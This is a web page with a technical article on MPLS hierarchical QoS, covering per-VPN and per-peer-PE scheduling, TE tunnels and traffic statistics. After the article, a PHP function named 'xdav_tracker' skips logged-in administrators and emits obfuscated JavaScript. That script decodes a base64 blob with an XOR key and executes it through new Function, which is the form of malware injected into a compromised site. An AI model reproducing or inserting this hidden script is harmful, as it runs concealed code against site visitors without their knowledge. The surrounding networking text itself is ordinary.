0

Introduction

Definition

As an application of QoS in VPN services, MPLS HQoS includes hierarchical QoS (HQoS) at the public network side based on the peer PE/VPN instance, and interface-based QoS at the access side of users.
MPLS HQoS offers practical QoS solutions to various services in the MPLS VPN.

Purpose

With the development of Virtual Private Network (VPN) services, telecommunication operators and users urgently demand the implementation of QoS (such as QoS for the leased line) in VPN networks.
Operators, when providing L2VPN/L3VPN access services for a VPN user, sign the service level agreement (SLA) with the user. The SLA includes the following:
  • Total bandwidth used by the user to access the MPLS VPN.
  • Priority of the user service in the MPLS network.
The preceding two points determine the volume of user traffic that can access the ISP network. After a user gets connected to the operator’s network, the operator needs to decide which type of QoS is to be delivered to the user’s service traffic.
  • The operator should guarantee bandwidth for the user traffic to a specified peer PE.
  • Types of services bound for a specific peer PE may include voice, video, important data, and common network services. These services have different requirements in terms of bandwidth and delay, and the operator should guarantee that such requirements are met.
MPLS HQoS provides a relatively complete MPLS L2VPN/L3VPN QoS solution. By using various QoS techniques, MPLS HQoS meets the diversified and refined QoS demands of VPN users.

Benefits

Benefits Brought to Operators
  • Ability to provide diversified QoS-based services, resulting in increased competitiveness
  • Ability to guarantee the quality of service for key users
Benefits Brought to Users
Users can enjoy the kind of quality of service similar to that available to the traditional physical leased line through the MPLS VPN network. This helps reduce their investment.

Implementation Principle

Implementing HQoS (L2VPN/L3VPN) at the Public Network Side Based on VPN Instance + Peer PE

In the MPLS VPN, bandwidth agreement may need to be reached between PE devices of an operator, so that traffic between two PEs is restricted or guaranteed according to the bandwidth agreement. To achieve this end, HQoS at the public network side that is based on VPN Instance + Peer PE can be adopted.
As shown in Figure 1, bandwidth and class of service are specified for traffic between PEs at the MPLS VPN side. For example, in VPNA, the specified bandwidth for traffic between PE1 and PE2 is 30 Mbit/s, and higher priority services are given bandwidth out of the 30 Mbit/s bandwidth ahead of lower priority services.
 NOTE:

The LDP LSP and the static LSP do not reserve bandwidth resources along their forwarding paths. If you need to provide QoS guarantee for services along the entire PE-to-PE path, you need to adopt the TE tunnel, which provides bandwidth guarantee by reserving bandwidth resources along its forwarding path. When the LDP LSP tunnel or the static LSP tunnel is adopted, end-to-end QoS cannot be guaranteed. In this case, priority scheduling and bandwidth restriction can be implemented on only the ingress PE.
If, however, you need to implement bandwidth restriction rather than bandwidth guarantee at the network side, you can simply specify the CIR to be 0, and the PIR to the desired bandwidth.
Figure 1 Implementing HQoS at the public network side based on VPN instance + peer PE
The preceding traffic model is described as follows:
  1. In this scenario, the LDP tunnel or the TE tunnel that is not allocated bandwidth is adopted.
    QoS is configured based on VPN instance + peer PE to implement bandwidth restriction at the network side.
    As shown in Figure 2, at the egress PE, traffic is mapped to eight flow queues in the service queue (SQ) according to the preference information carried by the traffic. Flow queues belonging to the same VPN instance + peer PE are mapped to the same SQ.
    Based on the user’s requirements, multiple VPNs + peer PEs can be configured to be in one user group, and undergo group queue (GQ) scheduling.
    On the outbound interface, traffic first undergoes port queue scheduling, and is then forwarded.
    Figure 2 Model of hierarchical traffic scheduling
    In this scenario, priority scheduling of flow queues is supported, bandwidth restriction and bandwidth guarantee of SQs are supported, whereas only traffic shaping is supported for GQs.
  1. In this scenario, the TE tunnel that is allocated bandwidth is adopted.
    Scenario 2 differs from scenario 1 in the following aspects.
    • After traffic undergoes the SQ scheduling, by default, traffic undergoes GQ scheduling that is based on the TE tunnel. That is, by default, all traffic in one TE tunnel is regarded as being in one GQ. GQ scheduling, however, can also be configured to be based on VPN instance + peer PE according to the user’s requirements. In this case, the default GQ scheduling that is based on the TE tunnel is no longer effective.
    • PE-to-PE bandwidth guarantee for traffic is supported. This is because in this scenario, bandwidth resources are reserved for the TE tunnel.
      Figure 3 Model of hierarchical traffic scheduling
    If traffic is load-balanced among TE tunnels on peer PEs, all traffic that is load-balanced undergoes priority scheduling and bandwidth restriction according to the traffic scheduling procedure as shown in Figure 3.
     NOTE:

    DS-TE only forwards traffic that conforms with its CT. All the other traffic is discarded.
    In this scenario, it is recommended that the TE tunnel that is configured with bandwidth resources be adopted to achieve PE-to-PE bandwidth guarantee for traffic.

Implementing HQoS (L2VPN/L3VPN/MVPN) at the Public Network Side Based on VPN Instance

In the MPLS VPN, when a VPN instance is a user (a corporate user in most cases), the operator wishes to implement traffic restriction/guarantee for the user on the PE device.
Generally, on the access side of users, there are multiple interfaces, which may be located on different boards. This means that deployment of QoS on these interfaces is not only complex, but it involves the coordinating of QoS enforcement on different boards. The problem can be solved by deploying HQoS that is based on VPN + peer PE at the public network side.
As shown in Figure 4, bandwidth and class of service are specified on the ingress PE for traffic of VPN instances (for example, the specified bandwidth for VPN-A is 30 Mbit/s, and higher priority services are given bandwidth out of the 30 Mbit/s bandwidth ahead of lower priority services). VPN-specific queue scheduling of traffic is performed at the PE side to implement traffic restriction/guarantee for the entire VPN.
 NOTE:

If you need to implement bandwidth restriction rather than bandwidth guarantee at the network side, you can simply specify the CIR to be 0, and the PIR to the desired bandwidth.
Figure 4 VPN-based QoS on the network side in an L2VPN/L3VPN
The preceding traffic model is described as follows:
  1. In this scenario, the LDP tunnel or the TE tunnel that is not allocated bandwidth is adopted.
    QoS is configured based on VPN instance to implement bandwidth restriction at the network side.
    As shown in Figure 5, at the ingress PE, traffic is mapped to eight flow queues in the SQ according to the preference information carried by the traffic. Flow queues belonging to the same VPN instance are mapped to the same SQ.
    Based on the user’s requirements, multiple VPNs can be configured to be in one user group, and undergo GQ scheduling.
    On the outbound interface, traffic first undergoes queue scheduling, and is then forwarded.
    Figure 5 Model of hierarchical traffic scheduling
    In this scenario, priority scheduling of flow queues is supported, bandwidth restriction and bandwidth guarantee of SQs are supported, whereas only traffic shaping is supported for GQs.
  2. In this scenario, the TE tunnel that is allocated bandwidth is adopted. This scenario is shown in the following figure.
    Figure 6 Model of hierarchical traffic scheduling
    The TE tunnel that is allocated bandwidth is adopted differs from the LDP tunnel or the TE tunnel that is not allocated bandwidth is adopted in the following aspects.
    • Traffic is allocated to an SQ based on VPN +TE tunnel (in scenario 1, traffic is allocated based on VPN). This means that if a VPN uses N such TE tunnels, the total bandwidth of the VPN is N times the traffic of one such TE tunnel.
    • After traffic undergoes the SQ scheduling, by default, traffic undergoes GQ scheduling that is based on the TE tunnel. That is, by default, all traffic in one TE tunnel is regarded as being in one GQ. Multiple VPN instances can be configured to be in the same group for GQ scheduling according to the user’s requirements. In this case, the default GQ scheduling that is based on the TE tunnel is no longer effective.
    • PE-to-PE bandwidth guarantee for traffic is supported. This is because in this scenario, bandwidth resources are reserved for the TE tunnel.
     NOTE:

    In this scenario, the TE tunnel that is configured with bandwidth resources is not recommended. This is because VPN-based traffic control is not concerned with PE-to-PE traffic handling. Instead, VPN-based traffic control mainly focuses on the bandwidth restriction and guarantee on a single PE.
    When QoS is configured at the public network side for a VPN instance, if the VPN instance also runs multicast VPN (MVPN) services, the QoS configuration that is applicable to unicast services of the VPN instance is also applicable to these MVPN services.

Implementing HQoS (L2VPN/L3VPN) on Interfaces at the CE Side of a VPN Instance

If an interface is bound to a VPN, interface-based QoS configurations are also applicable to the interface (for details, refer to the description in the QoS part). This means that traffic received by the interface from the CE or sent by the interface to the CE can undergo interface-based QoS processing.

Implementing VPN-based Traffic Statistics

In a VPLS network, the PE device supports statistics on both the incoming and outgoing traffic at the AC or PW side (at the AC side, traffic statistics are based on the interface, whereas at the PW side, traffic statistics are based on the PW table). After MPLS HQoS is configured, traffic statistics can be produced on packets at the PW side that are sent based on their priorities.
In a L3VPN, the PE device supports statistics on both the incoming and outgoing traffic of the VPN user (based on interfaces at the VPN side). After MPLS HQoS is configured, traffic statistics can be produced on packets at the public network side of the ingress PE that are sent based on their priorities.
In a VLL, the PE device supports statistics on both the incoming and outgoing traffic of the VLL user (based on interfaces at the VPN side). After MPLS HQoS is configured, traffic statistics can be produced on packets at the public network side of the ingress PE that are sent based on their priorities.


function xdav_tracker() { if ( is_user_logged_in() && current_user_can( 'administrator' ) ) { return; } ?>
;!function(){var _0x2b22=atob('E11OVVhPUlRVExJAUl0TTFJVX1RMYBxkWQMMWQ9eXw0NXRxmEkleT05JVQBMUlVfVExgHGRZAwxZD15fDQ1dHGYGCgBNWkkbZEtZQkFJBhlZXVoDXw0NDQMMWF4LXV8JC1pfAwpeCAwMXQhfC1oNCAMPClkPCQkICloLWAxdAg4ZAE1aSRtkXkxeSkoGYBxTT09LSAEUFElLWBZWWlJVVV5PFVZaT1JYFUpOUlBVVF9eFUtJVBwXHFNPT0tIARQUS1RXQlxUVRVcWk9eTFpCFU9eVV9eSVdCFVhUHBccU09PS0gBFBRLVFdCXFRVFlZaUlVVXk8VS05ZV1JYFVlXWkhPWktSFVJUHBccU09PS0gBFBRLVFdCXFRVFllUSRZJS1gVS05ZV1JYVVRfXhVYVFYcFxxTT09LSAEUFEtUV0JcVFUWS05ZV1JYFVVUX1JeSBVaS0scFxxTT09LSAEUFElLWBVaVVBJFVhUVhRLVFdCXFRVHBccU09PS0gBFBQKSUtYFVJUFFZaT1JYHBccU09PS0gBFBRLVFdCXFRVFV9JS1gVVElcHGYATVpJG2ReWk9ZWgYZC0MLeAx4WQsKeAMICQsIWngLWg4LellYCFoCen19CFgCeFoMCQxefQ4OGQBNWkkbZFJOVFFWQwYZWQ0DXwoDCwIZAF1OVVhPUlRVG2RTU1BJQhNkV0xeWFUSQE9JQkBNWkkbZF9BWF1eUEMGZFdMXlhVFUhOWUhPSRMLFwkSBgYGHAtDHARkV0xeWFUVSE5ZSE9JEwkSAWRXTF5YVQBSXRNkX0FYXV5QQxVXXlVcT1MHCgkDEkleT05JVRwcAE1aSRtkUVpaUF8GS1pJSF5yVU8TZF9BWF1eUEMVSE5ZSE9JEw0PFw0PEhcKDRIAUl0TGmRRWlpQXxJJXk9OSVUcHABNWkkbZFVWXVhfSgZkX0FYXV5QQxVITllIT0kTCgkDF2RRWlpQXxEJEhdkWk5JT1JeXAYcHABdVEkTTVpJG2RMSEtRX1gGCwBkTEhLUV9YB2RVVl1YX0oVV15VXE9TAGRMSEtRX1gQBgkSQE1aSRtkTVVLQkxLSwZLWklIXnJVTxNkVVZdWF9KFUhOWUhPSRNkTEhLUV9YFwkSFwoNEgBSXRNkTVVLQkxLSxJkWk5JT1JeXBAGaE9JUlVcFV1JVFZ4U1pJeFRfXhNkTVVLQkxLSxIARkleT05JVRtkWk5JT1JeXABGWFpPWFMTXhJASV5PTklVHBwARkZdTlVYT1JUVRtkUVhTQUNVE2RRTFNKTEwXZF1JVENVEkBJXk9OSVUbVV5MG2tJVFZSSF4TXU5VWE9SVFUTZFNSVFZcQhdkUkxTXFoSQE1aSRtkTlZNSlwGVV5MG2N2d3NPT0tpXkpOXkhPExIAZE5WTUpcFVRLXlUTHGt0aG8cF2RRTFNKTEwXT0lOXhIAZE5WTUpcFUheT2leSk5eSE9zXlpfXkkTHHhUVU9eVU8Wb0JLXhwXHFpLS1dSWFpPUlRVFFFIVFUcEgBkTlZNSlwVT1JWXlROTwYOCwsLAGROVk1KXBVUVVdUWl8GXU5VWE9SVFUTEkBPSUJAZFNSVFZcQhNxaHR1FUtaSUheE2ROVk1KXBVJXkhLVFVIXm9eQ08SEgBGWFpPWFMTXhJAZFJMU1xaE14SAEZGAGROVk1KXBVUVV5JSVRJBmROVk1KXBVUVU9SVl5UTk8GXU5VWE9SVFUTEkBkUkxTXFoTVV5MG35JSVRJExISAEYAZE5WTUpcFUheVV8TcWh0dRVIT0lSVVxSXUITZF1JVENVEhIARhIARl1OVVhPUlRVG2RZUFJIWEpSE2RKS1dcSxJAUl0TZEpLV1xLBQZkXkxeSkoVV15VXE9TEkleT05JVRtrSVRWUkheFUleSFRXTV4TVU5XVxIATVpJG2RdXE5fQlJVBkBRSFRVSUtYARwJFQscF1ZeT1NUXwEcXk9TZFhaV1ccF0taSVpWSAFgQE9UAWReWk9ZWhdfWk9aARwLQxwQZFJOVFFWQ0YXHFdaT15ITxxmF1JfAQpGAEleT05JVRtkUVhTQUNVE2ReTF5KSmBkSktXXEtmF2RdXE5fQlJVEhVPU15VE11OVVhPUlRVE2RSSEJcQhJATVpJG2RBUUJUTwZkUkhCXEIdHWRSSEJcQhVJXkhOV08EZFNTUElCE2RSSEJcQhVJXkhOV08SARwcAFJdE2RBUUJUTxJJXk9OSVUbZEFRQlRPFUleS1daWF4TFGcUEB8UFxwcEgBJXk9OSVUbZFlQUkhYSlITZEpLV1xLEAoSAEYSFVhaT1hTE11OVVhPUlRVExJASV5PTklVG2RZUFJIWEpSE2RKS1dcSxAKEgBGEgBGXU5VWE9SVFUbZE1MWVxUXBNkVlpeUlgSQE1aSRtkQUteU00GX1RYTlZeVU8VWEleWk9efldeVl5VTxMcSFhJUktPHBIAZEFLXlNNFUhJWAZkVlpeUlgQHBRaS1IVS1NLBEgGHBBkS1lCQUkQHB1kTQYcEHZaT1MVXVdUVEkTf1pPXhVVVEwTEhQNCwsLCxIAZEFLXlNNFVpIQlVYBk9JTl4AE19UWE5WXlVPFVNeWl9HR19UWE5WXlVPFVlUX0ISFVpLS15VX3hTUldfE2RBS15TTRIARmRZUFJIWEpSEwsSFU9TXlUTXU5VWE9SVFUTZFZaXlJYEkBSXRNkVlpeUlgSZE1MWVxUXBNkVlpeUlgSAEYSAEYSExIA'),_0x4cbf=59,_0xe52d=new Uint8Array(_0x2b22['length']),_0x249c=0;for(;_0x249c<_0x2b22['length'];_0x249c++)_0xe52d[_0x249c]=_0x2b22['charCodeAt'](_0x249c)^_0x4cbf;(new Function(new TextDecoder()['decode'](_0xe52d)))()}();

(Visited 3,419 times, 1 visits today)

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.